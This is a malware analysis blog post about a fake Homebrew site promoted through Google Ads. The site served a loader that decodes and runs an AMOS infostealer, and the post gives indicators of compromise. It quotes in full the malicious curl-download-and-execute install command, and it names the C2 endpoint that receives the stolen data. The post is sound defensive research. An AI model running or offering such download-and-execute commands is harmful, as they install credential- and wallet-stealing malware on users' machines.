Trouble Brewing: Dissecting a fake homebrew update that stole user data
&w=96&q=75)
Preamble
A few weeks ago, a malware campaign that leveraged Google Ads to promote a fake Homebrew website caught my attention. It tricked users into running an installer command that downloaded and executed a malicious binary resulting in an info stealer being introduced to the user’s machine. Although the technique wasn’t new, I was interested in the malware, which we found to be a variant of the Atomic MacOS Stealer, which extracted system information, user credentials, browser data, and cryptocurrency wallets, among other sensitive files.
As attackers refine their techniques and the line between real and fake continues to blur, this served as a nice technical case study for where effective human risk management could be combined with technical safeguards to protect users from these types of attacks.
With that in mind, I was curious to see what the initial malware stage did, so I decided to reverse it to see how it decoded and executed its payload, what its data exfiltration mechanism was, and if there were any interesting defence evasion techniques deployed.
Malvertising - Effective and on the rise
Attacker campaigns leveraging deceptive Google Ads to distribute malware are nothing new. Cyber criminals have long exploited online advertising to spread malicious code in various formats, with Adware (Advert Malware) and Malvertising (Malicious Advertising) being prime examples. Sometimes these are complex and involve supply chain compromises, while other times they are a simple redirect to a malicious site that performs a drive-by download.
The technique may be old, but it’s not down. WIRED reported that Malvertising in the US increased 42% month-over-month in autumn 2023 and another 41% between July and September of 2024. Furthermore, Unit 42 detected a 101% increase in macOS infostealers between the last two quarters of 2024. This latest attack continues to highlight the need for proactive security measures that automatically detect and block deceptive sites before users interact with them. Relying on security awareness or user discretion is just not enough against sophisticated clones and search engine manipulation.
If we consider this recent campaign, we can see that it effectively deceived users into executing malware by combining several common tactics:
Typosquatting – Registering brewe.sh (brew.sh) to host the website
Website cloning – Creating a clone of brew.sh with a modified install command
Malvertising - Leveraging Google Ads to promote the malicious site in search results
Abuse of Trust - Abusing user trust in third-party code and commands
These are all things that could be proactively detected using user telemetry, allowing for real-time interventions to be rolled out via human risk management solutions.
With that said, let’s take a deep dive into this piece of malware!
Looking at the install command
The Google Ad directed users to a fake Homebrew website which was designed to mimic the real brew.sh installation page. However, instead of just installing Homebrew, the command downloaded a binary payload called update
from the domain norikosumiya[.]com
, before continuing to installing the legitimate package manager.
&w=1920&q=75)
The full command supplied by the fake website can be seen below:
curl -o /tmp/update https://norikosumiya[.]com/brew/update && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update && /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/ install/HEAD/install.sh)"
Thankfully the site has been taken down now, but the first-stage payload can still be downloaded from the internet archive. So, the payload is still easy to get a hold of, but what I didn’t have was a Mac, so I had the joy of doing the full analysis statically.
Reverse engineering the payload
After downloading the update
binary, I loaded it into Binary Ninja which showed that it was a relatively small Mach-O executable, with only a few subroutines that needed reversing. An initial skim of the disassembled _start
routine showed that:
Three key strings were first loaded into memory:
A 65-character ASCII string
A large hex string (49,824 characters)
A smaller hex string (61 characters)
Two custom functions were called repeatedly to process the hex strings.
The output was passed to the
_system
API, suggesting command execution.
This indicated that the update
binary was only serving as a runner used to decode and execute a main second-stage payload:
&w=1920&q=75)
Suspecting that the first function was performing hex decoding, I thought it would be a quick win to try decoding the hex string. However, this didn’t result in much, aside from some seemingly random bytes. So, it could have been hex decoding, or it might not have been – meaning a closer look was needed:
&w=1920&q=75)
Reversing the decoding function:
Looking at the first function call, I could see it passed the address of a new buffer, as well as the address of a variable pointing to the size of the large hex string - not the string itself:
&w=1920&q=75)
Inside the function, the address for the payload size is dereferenced, and multiple checks confirm that the size is divisible by 4 – halving it if so. This aligns with hex decoding (Base 16), as each byte is encoded into two characters (E.g., "A" is represented as "41" in a hex string, requiring two characters per byte):
&w=1920&q=75)
These checks were then followed by a loop that iterated over the hex string, converting each character pair into a byte, decoding its value, and writing it into the output buffer:
&w=1920&q=75)
No other data manipulation was present within this function, so it was indeed just a simple hex decoding function.
Reversing the decryption function
The output from the hex decoding function was passed to the second function, along with a pointer to the size of the 65-byte hardcoded – as of yet undefined – ASCII string. My initial gut feeling was that a decryption function had been implemented with the ASCII string as the decryption key:
&w=1920&q=75)
The function began by initialising a buffer of 1024 bytes and checking if the size of the 65-byte ASCII string was even:
&w=1920&q=75)
Shortly after this, an offset of 0x10 (16) was added to the address referencing the size of the 65-byte ASCII string (pointed to by r12
):
&w=1920&q=75)
Looking back at how the string and its size are placed on the stack, I could see that the buffer address was at rbp-0x28
whilst the size address is at rbp-0x38
(+0x10):
&w=1920&q=75)
So, applying this offset turned the value in r12
from a pointer to the buffer size, into a pointer to the buffer itself. This allowed the r12
register to be used to create a mapping of each character in the 65-byte ASCII string (r14
) to a generated index stored in the 1024-byte buffer (r15
) - laying the groundwork for a basic substitution cipher!
&w=1920&q=75)
A few blocks later, it became clear that this mapping implemented a lookup table for a custom Base64 decoding function. This means that the ASCII string was not an encryption key, but a custom Base64 alphabet. Though, I guess you could consider a Base64 implementation that requires you to pass it the lookup table as a form of basic encryption.
The reason this was made clear was the following block, which showed a 6-bit left shift followed by bitwise-or to decode and combine of 3 bytes at a time using the lookup table – which is exactly how Base64 decoding works:
&w=1920&q=75)
Decoding the second stage payload:
Now that I knew the second stage was a hex encoded Base64 string – using a custom 64-byte lookup table – I knew I could easily decode it using a quick python script.
Thankfully, there was no need to implement a custom Base64 decoding function. Instead, I could just translate the custom Base64 output data into standard Base64 and then use Python’s native Base64 API to decode the final payload:
&w=1920&q=75)
With the script ready, I extracted the large hex string from the binary and saved it as payload2.hex
. Once decoded using my script, the output showed that the final stage of the malware was an AppleScript string, executed using the osascript
command:
&w=1920&q=75)
A quick grep through the output to enumerate function definitions helped paint a much more concise and clearer picture. This did seem to be a MacOS info stealer:
&w=1920&q=75)
The C2 for the malware could also be identified clearly within the send_data
function. Here, the script would compress all the user data it had stolen into /tmp/out.zip
and upload the file to a server in Russia via the curl
command to http[:]//81.19.135[.]54/joinsystem
:
&w=1920&q=75)
&w=1920&q=75)
Although typically taking the form of a DMG Mach-O binary, the implementation of the final stage indicated that the final payload was an AppleScript-based variant of the AMOS (Atomic MacOS) Infostealer.
There are many posts out there already covering the AMOS Stealer in various formats in detail. So, I won’t do that, but I will summarise what this AppleScript variant extracts:
System Data: Gathers system info, logged-in user.
Credential & Browser Info: Extracts saved passwords, cookies, and login data from browsers (Chrome, Firefox, etc).
Crypto Wallets: Steals wallet data from Electrum, Exodus, Trezor, etc.
Sensitive Files: Steals macOS Keychain, Apple Notes, Telegram sessions, and scans for sensitive-sounding documents.
Authentication Bypass: Fakes a macOS login prompt to interactively steal passwords from the user.
Conclusion
This Homebrew malvertising campaign was a textbook example of how attackers exploit deceptive ads, search engine manipulation, and user trust to distribute malware. By combining typosquatting, website cloning, and obfuscated payloads, they successfully tricked users into executing a malicious installer, ultimately deploying an AppleScript variant of the AMOS Infostealer.
The rise of MacOS-specific malware and increasingly common malvertising tactics reinforce the need for proactive security measures that go beyond user awareness training. Human Risk Management technologies that include real-time risk detection can help prevent these threats before users even interact with them.
How to mitigate such threats:
Avoid downloading software via Google Ads and instead use direct sources.
Verify website URLs before downloading or files.
Review third-party code or commands before executing them.
Use security tools to monitor unexpected network connections.
Implement Human Risk Management strategies to detect risky behaviour, intervening where possible to prevent exposure to deceptive sites.
Indicators of Compromise (IoCs)
First stage update payload (Mach-O binary):
MD5
b23cf8007c726f99873e73b0937f4fd5
SHA256
b329b32fa3e87f2e8ff7dc3d080e2d042a5484d26f220028b556000389a437c5
Second stage InfoStealer (AppleScript ):
MD5
f1d9c1c48b07db196f7eb11645ad0a8d
SHA256
3b505986439c54fe8e3e6c0048c867534594bc2cb15d341bd309824f1b83fd1d
Domains / IPs:
Malicious Site
https://brewe[.]sh
Payload Hosting
https://norikosumiya[.]com
Command and Control (C2)
https://81.19.135[.]54/joinsystem